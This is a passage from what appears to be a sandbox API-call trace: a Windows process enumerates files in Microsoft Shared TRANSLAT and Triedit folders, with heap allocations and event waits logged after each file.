ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0269.155] GetProcessHeap () returned 0x550000 [0269.155] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0269.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0269.155] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.155] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0269.155] ResetEvent (hEvent=0xe0) returned 1 [0269.155] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0269.192] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0269.192] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0269.192] GetProcessHeap () returned 0x550000 [0269.193] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0269.193] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0269.193] GetProcessHeap () returned 0x550000 [0269.193] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0269.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0269.193] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.193] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0269.194] ResetEvent (hEvent=0xe0) returned 1 [0269.194] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0269.210] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0269.210] ResetEvent (hEvent=0xe0) returned 1 [0269.210] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0269.229] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0269.230] ResetEvent (hEvent=0xe0) returned 1 [0269.230] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0269.615] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0269.615] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0269.616] GetProcessHeap () returned 0x550000 [0269.616] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0269.616] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0269.616] GetProcessHeap () returned 0x550000 [0269.616] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0269.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0269.616] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.616] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0269.616] ResetEvent (hEvent=0xe0) returned 1 [0269.616] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0269.997] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0269.997] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0269.998] GetProcessHeap () returned 0x550000 [0269.998] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0269.998] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0269.998] GetProcessHeap () returned 0x550000 [0269.998] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0269.998] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0269.999] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.999] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0269.999] ResetEvent (hEvent=0xe0) returned 1 [0269.999] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0270.110] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0270.110] ResetEvent (hEvent=0xe0) returned 1 [0270.110] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0270.160] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0270.160] ResetEvent (hEvent=0xe0) returned 1 [0270.160] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0270.209] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0270.209] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0270.210] GetProcessHeap () returned 0x550000 [0270.210] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0270.210] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0270.210] ResetEvent (hEvent=0xe0) returned 1 [0270.210] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0271.312] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0271.312] ResetEvent (hEvent=0xe0) returned 1 [0271.312] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0271.331] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0271.331] ResetEvent (hEvent=0xe0) returned 1 [0271.331] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0271.348] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0271.348] ResetEvent (hEvent=0xe0) returned 1 [0271.348] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0271.362] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0271.362] ResetEvent (hEvent=0xe0) returned 1 [0271.362] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0271.382] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0271.382] ResetEvent (hEvent=0xe0) returned 1 [0271.382] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0271.665] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0271.665] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0271.666] GetProcessHeap () returned 0x550000 [0271.666] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0271.666] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0271.666] GetProcessHeap () returned 0x550000 [0271.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0271.666] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0271.666] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.666] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0271.667] GetProcessHeap () returned 0x550000 [0271.667] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0271.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0271.667] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.667] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0271.667] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0271.667] GetProcessHeap () returned 0x550000 [0271.667] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0271.667] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0271.667] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0271.668] GetProcessHeap () returned 0x550000 [0271.668] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0271.668] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, 